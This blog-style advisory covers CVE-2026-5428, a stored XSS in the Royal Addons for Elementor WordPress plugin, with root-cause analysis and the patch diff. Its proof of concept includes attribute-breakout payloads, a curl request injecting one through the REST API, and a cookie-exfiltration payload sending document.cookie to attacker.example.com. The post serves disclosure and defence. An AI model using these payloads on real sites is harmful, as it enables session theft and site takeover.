Royal Addons for Elementor WordPress plugin banner

CVE-2026-5428: Authenticated Stored XSS in Royal Elementor Addons Plugin

CVE-2026-5428 is a CVSS 6.4 Medium Stored Cross-Site Scripting vulnerability in the Royal Addons for Elementor WordPress plugin. An attacker with Author-level access or higher can inject malicious JavaScript via image captions in the Media Grid widget. The script runs in the browser of every visitor to a page that contains the widget. From a single injection, an attacker can steal session cookies and take over admin accounts.

Vulnerability Summary

FieldValue
Plugin NameRoyal Addons for Elementor
Plugin Slugroyal-elementor-addons
CVE IDCVE-2026-5428
CVSS Score6.4 (Medium)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeAuthenticated (Author+) Stored Cross-Site Scripting
Affected Versions<= 1.7.1056
Patched Version1.7.1057
PublishedApril 23, 2026
ResearcherDmitrii Ignatyev — CleanTalk Inc
Wordfence AdvisoryLink

Description

The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image captions in the Image Grid/Slider/Carousel widget in versions up to and including 1.7.1056. The bug is in the render_post_thumbnail() function, which uses wp_kses_post() instead of esc_attr() for the alt attribute context. Authenticated attackers with Author-level access or above can inject malicious scripts into pages. Those scripts run whenever a visitor views a page that shows the compromised image in the media grid widget.

Technical Analysis

Vulnerable Code Path

The vulnerability is in modules/media-grid/widgets/wpr-media-grid.php.

1. Query execution (line ~6670, vulnerable version)

The Media Grid widget queries WordPress attachments and iterates over them via WP_Query. For each attachment, it calls render_post_thumbnail():

// wpr-media-grid.php ~line 7795
$this->render_post_thumbnail( $settings, get_the_ID() );

2. The vulnerable function (lines 6752–6759, version 1.7.1056)

// Render Post Thumbnail
public function render_post_thumbnail( $settings ) {
    $id = get_the_ID();
    $src = Group_Control_Image_Size::get_attachment_image_src( $id, 'layout_image_crop', $settings );
    $alt = '' === wp_get_attachment_caption( $id ) ? get_the_title() : wp_get_attachment_caption( $id );

    echo '<div class="wpr-grid-image-wrap" data-src="'. esc_url( wp_get_attachment_url( $id ) ) .'">';
        echo '<img src="'. esc_url( $src ) .'" alt="'. wp_kses_post( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';
    echo '</div>';
}

Line 6755 — The $alt variable is populated from wp_get_attachment_caption() (the “Caption” field in the WordPress Media Library). If the caption is empty, it falls back to get_the_title().

Line 6758 — The $alt value is output inside the HTML alt="..." attribute using wp_kses_post(). This is the vulnerable sink.

Root Cause

wp_kses_post() is a content sanitizer designed for HTML body context. It strips disallowed HTML tags and attributes, but it does not HTML-encode characters that break out of an HTML attribute context — specifically the double-quote character (").

When $alt contains a double quote, wp_kses_post() leaves it as a literal ", which closes the alt attribute and allows arbitrary HTML/event-handler injection:

Input captionwp_kses_post() outputResulting HTML
" onmouseover="alert(1)" onmouseover="alert(1)alt="" onmouseover="alert(1)"
"><script>alert(1)</script>"><script>alert(1)</script>Breaks out of tag entirely

The correct function for attribute context is esc_attr(), which encodes "&quot;, <&lt;, >&gt;, and &&amp;.

Why Controls Missed This

WordPress documents wp_kses_post() as safe for “post content” — HTML body text. Using it inside an HTML attribute is a misuse. The function allows some HTML tags and strips others, but it was never built to escape attribute-breaking characters. Any developer who knows XSS escaping context rules (HTML body vs. attribute vs. JavaScript vs. URL) would use esc_attr() here instead.

The WordPress Coding Standards require esc_attr() for all attribute output, but the developer missed this check during implementation.

Attack Impact

An authenticated attacker with at minimum Author-level access can:

  1. Upload an image with a malicious caption to the WordPress Media Library
  2. Cause attacker-controlled JavaScript to execute in the browser of any visitor to a page that includes a Media Grid/Slider/Carousel widget showing that image
  3. Steal session cookies (including admin cookies) to achieve full site takeover
  4. Perform any action the victim user is authorized to perform (create accounts, install plugins if victim is admin, etc.)

This is a persistent/stored XSS — not a reflected attack. The payload lives in the database as the attachment caption and renders for every visitor. A single injection can affect all future visitors until someone cleans up the caption.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Inject the malicious caption via Media Library

Log in to WordPress as an Author (or higher privilege) user. Navigate to Media > Add New and upload any image file. After upload, click the image to open the attachment detail editor.

In the Caption field, enter the XSS payload:

" onmouseover="alert(document.cookie)

Click Update to save.

Alternatively, inject via the REST API (if Author has API access):

# First, get the attachment ID of your uploaded image
ATTACHMENT_ID=123   # replace with actual ID
WP_URL="https://target-site.example.com"
AUTH_HEADER="Authorization: Basic $(echo -n 'author_user:author_password' | base64)"

curl -s -X POST "$WP_URL/wp-json/wp/v2/media/$ATTACHMENT_ID" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{"caption": "\" onmouseover=\"alert(document.cookie)"}'

Step 2: Place the Media Grid widget on a page

Edit any page with Elementor. Add a Media Grid (or Image Slider / Image Carousel) widget from the Royal Elementor Addons section.

Configure the widget query to use Media Library as source (the default). Ensure the widget is set to display images from the Media Library (it queries post_type=attachment). The malicious image will appear in the grid.

Publish or update the page.

Step 3: Trigger the XSS as an unauthenticated visitor

Visit the published page in a browser (logged out or as a different user):

https://target-site.example.com/page-with-media-grid/

The rendered HTML will contain:

<img src="https://target-site.example.com/wp-content/uploads/malicious.jpg"
     alt="" onmouseover="alert(document.cookie)"
     class="wpr-anim-timing-linear">

Hover the mouse over the malicious image. The JavaScript payload fires immediately.

Expected Result

The browser executes alert(document.cookie) — demonstrating XSS. In a real attack, the payload would be replaced with a cookie-exfiltration script:

" onmouseover="fetch('https://attacker.example.com/?c='+document.cookie)

An admin visiting the page would have their wordpress_logged_in_* session cookie sent to the attacker, enabling full account takeover without needing credentials.

Verification

After triggering the PoC, verify the exploit succeeded by:

  1. Browser DevTools: Open DevTools → Console. After hovering the image, the alert fires and the cookie value is displayed.
  2. Source inspection: View Page Source and search for onmouseover — the injected event handler will be visible in the <img> tag.
  3. Network tab: If using an exfiltration payload, observe the outbound request to the attacker-controlled domain carrying the victim’s cookies.

Patch Analysis

Modified File

The patch in version 1.7.1057 changes one line in modules/media-grid/widgets/wpr-media-grid.php:

FileLines Changed
modules/media-grid/widgets/wpr-media-grid.phpLine 6787 (patched) — escaping fix; plus unrelated pagination and query improvements

The XSS fix touches only one line — a single function swap.

Fix Explanation

- echo '<img src="'. esc_url( $src ) .'" alt="'. wp_kses_post( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';
+ echo '<img src="'. esc_url( $src ) .'" alt="'. esc_attr( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';

esc_attr() properly HTML-encodes all special characters in attribute context:

This prevents any injection of additional HTML attributes or tags via the caption/title value.

The patch also adds 'post_mime_type' => 'image' to the attachment query (line ~6670). This is a defense-in-depth improvement — it limits the media grid to image attachments only, narrowing the attack surface.

The fix is complete for the reported vector. This code path has no remaining risk.

Code Diff (Key Changes)

@@ -6755,7 +6787,7 @@ class Wpr_Media_Grid extends Widget_Base {
     $alt = '' === wp_get_attachment_caption( $id ) ? get_the_title() : wp_get_attachment_caption( $id );

     echo '<div class="wpr-grid-image-wrap" data-src="'. esc_url( wp_get_attachment_url( $id ) ) .'">';
-        echo '<img src="'. esc_url( $src ) .'" alt="'. wp_kses_post( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';
+        echo '<img src="'. esc_url( $src ) .'" alt="'. esc_attr( $alt ) .'" class="wpr-anim-timing-'. esc_html($settings[ 'image_effects_animation_timing']) .'">';
     echo '</div>';
 }

@@ -6639,6 +6670,7 @@ class Wpr_Media_Grid extends Widget_Base {
     $args = [
         'post_type' => 'attachment',
         'post_status' => 'inherit',
+        'post_mime_type' => 'image',
         'tax_query' => $this->get_tax_query_args(),

Timeline

DateEvent
April 23, 2026Vulnerability publicly disclosed by Dmitrii Ignatyev (CleanTalk Inc)
April 23, 2026Patched version 1.7.1057 released

Remediation

Update the royal-elementor-addons plugin to version 1.7.1057 or later immediately.

If you cannot update right away, audit your Media Library for image captions with suspicious content — double quotes, onmouseover, <script> tags, and similar patterns. Also restrict Author-level uploads until the patch is applied.

References

  1. Vulnerable code — trunk (line 6755)
  2. Vulnerable code — tag 1.7.1049 (line 6755)
  3. Vulnerable code — trunk (line 6752)
  4. Vulnerable code — tag 1.7.1049 (line 6752)
  5. Fix changeset 3503209

Frequently Asked Questions

What is CVE-2026-5428?

CVE-2026-5428 is a CVSS 6.4 Medium severity Stored Cross-Site Scripting vulnerability in the Royal Addons for Elementor WordPress plugin that lets authenticated attackers inject malicious JavaScript into pages, which then runs in every visitor's browser.

Which versions of Royal Addons for Elementor are affected by CVE-2026-5428?

All versions up to and including 1.7.1056 are vulnerable. Version 1.7.1057 contains the fix and is safe to use.

What can an attacker do with CVE-2026-5428?

An attacker can store a JavaScript payload in an image caption in the WordPress Media Library. When any visitor views a page containing the Media Grid widget, the script runs and can steal session cookies, including admin cookies, leading to full site takeover.

Does an attacker need to be logged in to exploit CVE-2026-5428?

Yes. The attacker must have at least Author-level access to a WordPress account on the target site. No authentication is required for victims who trigger the stored payload by visiting the page.

How do I fix CVE-2026-5428 in Royal Addons for Elementor?

Update the Royal Addons for Elementor plugin to version 1.7.1057 or later from the WordPress admin dashboard under Plugins > Installed Plugins. If you cannot update immediately, review your Media Library image captions for suspicious content and restrict Author-level uploads.

Has Royal Addons for Elementor been patched for CVE-2026-5428?

Yes. Version 1.7.1057, released on April 23, 2026, fixes the vulnerability by replacing wp_kses_post() with esc_attr() in the image rendering function, which correctly encodes special characters in HTML attribute context.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee